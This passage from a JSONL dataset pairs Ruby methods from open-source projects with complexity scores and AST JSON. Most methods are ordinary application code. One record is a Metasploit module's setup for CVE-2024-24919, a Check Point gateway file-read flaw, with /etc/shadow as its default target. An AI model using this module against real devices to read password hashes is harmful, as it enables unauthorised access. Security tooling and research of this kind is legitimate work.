end","complexity_score":42.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"email\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"fetch_user_from_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"email-hr-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"remote_ip\"]}]}]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]}]},\"performed!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"email-min-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"remote_ip\"]}]}]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]}]},\"performed!\"]},{\"type\":\"lvasgn\",\"children\":[\"updater\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailUpdater\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"send\",\"children\":[null,\"guardian\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"updater\"]},\"change_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"updater\"]},\"errors\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"updater\"]},\"errors\"]},\"full_messages\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"LimitExceeded\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"rate_limiter.slow_down\"]}]}]}]},null]}]}","id":"0c15e9ee-3189-47e5-b608-75d5f163de52"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/linear.rb","start_line":49,"raw_source":"def create_issue(params, user = nil)\n    validate_team_and_title(params)\n    validate_priority(params[:priority])\n    validate_label_ids(params[:label_ids])\n\n    variables = build_issue_variables(params, user)\n    mutation = Linear::Mutations.issue_create(variables)\n    response = post({ query: mutation })\n    process_response(response)\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_team_and_title\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_priority\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"priority\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_label_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label_ids\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"variables\",{\"type\":\"send\",\"children\":[null,\"build_issue_variables\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mutation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Linear\"]},\"Mutations\"]},\"issue_create\",{\"type\":\"lvar\",\"children\":[\"variables\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"mutation\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"43235252-3ab0-4f85-9a9b-ccd83585b763"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/storage_file_transformer.rb","start_line":88,"raw_source":"def extract_location(parent_reference, file_name = \"\")\n            location = parent_reference[:path].gsub(/.*root:/, \"\")\n\n            appendix = file_name.blank? ? \"\" : \"/#{file_name}\"\n            location.empty? ? \"/#{file_name}\" : \"#{location}#{appendix}\"\n          end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_location\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_reference\"]},{\"type\":\"optarg\",\"children\":[\"file_name\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_reference\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".*root:\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"appendix\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]},\"blank?\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"empty?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appendix\"]}]}]}]}]}]}","id":"b3a311c2-bf87-4411-af4e-2372b3ef4a67"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/server_role.rb","start_line":69,"raw_source":"def unlimited?\n    max_concurrent == 0\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unlimited?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_concurrent\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"061903f4-d361-4ac7-ad46-0ef4127751bf"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/google_translate/processor_service.rb","start_line":6,"raw_source":"def perform\n    return if hook.blank?\n\n    content = translation_content\n    return if content.blank?\n\n    response = client.translate_text(\n      contents: [content],\n      target_language_code: target_language,\n      parent: \"projects/#{hook.settings['project_id']}\",\n      mime_type: mime_type\n    )\n\n    return if response.translations.first.blank?\n\n    response.translations.first.translated_text\n  end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[null,\"translation_content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"translate_text\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contents\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_language_code\"]},{\"type\":\"send\",\"children\":[null,\"target_language\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook\"]},\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"project_id\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mime_type\"]},{\"type\":\"send\",\"children\":[null,\"mime_type\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"translations\"]},\"first\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"translations\"]},\"first\"]},\"translated_text\"]}]}]}","id":"8b447470-6b53-467d-af01-852ae6eeefe5"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/distributed_mutex.rb","start_line":33,"raw_source":"def self.synchronize(key, redis: nil, validity: DEFAULT_VALIDITY, &blk)\n    self.new(key, redis: redis, validity: validity).synchronize(&blk)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"synchronize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"kwoptarg\",\"children\":[\"redis\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"validity\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_VALIDITY\"]}]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redis\"]},{\"type\":\"lvar\",\"children\":[\"redis\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validity\"]},{\"type\":\"lvar\",\"children\":[\"validity\"]}]}]}]},\"synchronize\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}","id":"69af07f9-2175-4fc4-b47e-d56fb5aa5499"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/scaffold_controller_generator_test.rb","start_line":279,"raw_source":"def test_controller_tests_pass_by_default_inside_mountable_engine\n    engine_path = File.join(destination_root, \"bukkits\")\n\n    with_new_plugin(engine_path, \"--mountable\") do\n      quietly { `bin/rails g controller dashboard foo` }\n      quietly { `bin/rails db:migrate RAILS_ENV=test` }\n      assert_match(/2 runs, 2 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)\n    end\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_controller_tests_pass_by_default_inside_mountable_engine\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"engine_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"bukkits\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_new_plugin\",{\"type\":\"lvar\",\"children\":[\"engine_path\"]},{\"type\":\"str\",\"children\":[\"--mountable\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quietly\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bin/rails g controller dashboard foo\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quietly\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bin/rails db:migrate RAILS_ENV=test\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"2 runs, 2 assertions, 0 failures, 0 errors\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bin/rails test 2>&1\"]}]}]}]}]}]}]}","id":"15ac8768-c576-4e2a-ba10-f2b6b7e58fa1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Check Point Security Gateway Arbitrary File Read',\n        'Description' => %q{\n          This module leverages an unauthenticated arbitrary root file read vulnerability for\n          Check Point Security Gateway appliances. When the IPSec VPN or Mobile Access blades\n          are enabled on affected devices, traversal payloads can be used to read any files on\n          the local file system. Password hashes read from disk may be cracked, potentially\n          resulting in administrator-level access to the target device. This vulnerability is\n          tracked as CVE-2024-24919.\n        },\n        'Author' => [ 'remmons-r7' ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          # At the time of module development, no IOCs for this local file disclosure are known\n          'SideEffects' => [],\n          'Reliability' => []\n        },\n        'DefaultOptions' => { 'SSL' => true },\n        'References' => [\n          ['CVE', '2024-24919'],\n          # Vendor advisory\n          [ 'URL', 'https://support.checkpoint.com/results/sk/sk182336' ],\n          # Rapid7 ETR advisory for CVE-2024-24919\n          [ 'URL', 'https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/' ],\n          # Publication of first proof-of-concept exploit\n          [ 'URL', 'https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/' ],\n          [ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]\n        ]\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(443),\n        OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]),\n        OptString.new('TARGETFILE', [true, 'The target file to read. This should be a full Linux file path. Files containing binary data may not be read accurately', '/etc/shadow']),\n        OptString.new('TARGETURI', [true, 'The URI path to Check Point Security Gateway', '/'])\n      ]\n    )\n  end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Check Point Security Gateway Arbitrary File Read\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module leverages an unauthenticated arbitrary root file read vulnerability for\\n\"]},{\"type\":\"str\",\"children\":[\"          Check Point Security Gateway appliances. When the IPSec VPN or Mobile Access blades\\n\"]},{\"type\":\"str\",\"children\":[\"          are enabled on affected devices, traversal payloads can be used to read any files on\\n\"]},{\"type\":\"str\",\"children\":[\"          the local file system. Password hashes read from disk may be cracked, potentially\\n\"]},{\"type\":\"str\",\"children\":[\"          resulting in administrator-level access to the target device. This vulnerability is\\n\"]},{\"type\":\"str\",\"children\":[\"          tracked as CVE-2024-24919.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"remmons-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-24919\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://support.checkpoint.com/results/sk/sk182336\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1003_008_ETC_PASSWD_AND_ETC_SHADOW\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"STORE_LOOT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Store the target file as loot\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETFILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target file to read. This should be a full Linux file path. Files containing binary data may not be read accurately\"]},{\"type\":\"str\",\"children\":[\"/etc/shadow\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI path to Check Point Security Gateway\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"480e6ff9-bd10-40ee-be7a-442843dc4e6a"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":758,"raw_source":"def destroy_follows\n    follower_relationships = Follow.followable_user(id)\n    follower_relationships.destroy_all\n    follows.destroy_all\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_follows\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"follower_relationships\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Follow\"]},\"followable_user\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follower_relationships\"]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"follows\"]},\"destroy_all\"]}]}]}","id":"68673087-0d9d-4995-9be7-904de2cb9178"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2json/converter.rb","start_line":186,"raw_source":"def handle_section(scanner)\n          action = scanner[1]\n          timestamp = scanner[2]\n          section = scanner[3]\n\n          section_name = sanitize_section_name(section)\n\n          case action\n          when 'start'\n            options = parse_section_options(scanner[4])\n            handle_section_start(scanner, section_name, timestamp, options)\n          when 'end'\n            handle_section_end(scanner, section_name, timestamp)\n          else\n            raise 'unsupported action'\n          end\n        end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_section\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scanner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"section\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"section_name\",{\"type\":\"send\",\"children\":[null,\"sanitize_section_name\",{\"type\":\"lvar\",\"children\":[\"section\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"start\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"parse_section_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_section_start\",{\"type\":\"lvar\",\"children\":[\"scanner\"]},{\"type\":\"lvar\",\"children\":[\"section_name\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"end\"]},{\"type\":\"send\",\"children\":[null,\"handle_section_end\",{\"type\":\"lvar\",\"children\":[\"scanner\"]},{\"type\":\"lvar\",\"children\":[\"section_name\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"unsupported action\"]}]}]}]}]}","id":"92151c0c-bfde-4643-91b0-10c4c61e1cd5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload_set.rb","start_line":651,"raw_source":"def build_adapted_name(aname, pname)\n    aparts = aname.split('/')\n    pparts = pname.split('/')\n    pparts.shift if aparts.last.start_with?(pparts.first)\n    aparts.each { |apart| pparts.delete(apart) if pparts.include?(apart) }\n\n    (aparts + pparts).join('/')\n  end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"build_adapted_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"aname\"]},{\"type\":\"arg\",\"children\":[\"pname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aparts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aname\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pparts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pname\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aparts\"]},\"last\"]},\"start_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pparts\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pparts\"]},\"shift\"]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aparts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"apart\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pparts\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"apart\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pparts\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"apart\"]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aparts\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"pparts\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}","id":"5458dc30-a5b9-4629-b5c2-6d18b032cfcb"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/components/budgets/planned_material_budget_items_component.rb","start_line":54,"raw_source":"def planned_sum\n    number_to_currency(budget.material_budget)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"planned_sum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"number_to_currency\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"budget\"]},\"material_budget\"]}]}]}","id":"fbd7d295-7b6f-47c1-bc1e-9bcae063cf37"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/kerberos/client/tgs_response.rb","start_line":21,"raw_source":"def decrypt_kdc_tgs_rep_enc_part(res, key, msg_type:)\n              decrypt_res = res.enc_part.decrypt_asn1(key, msg_type)\n              Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)\n            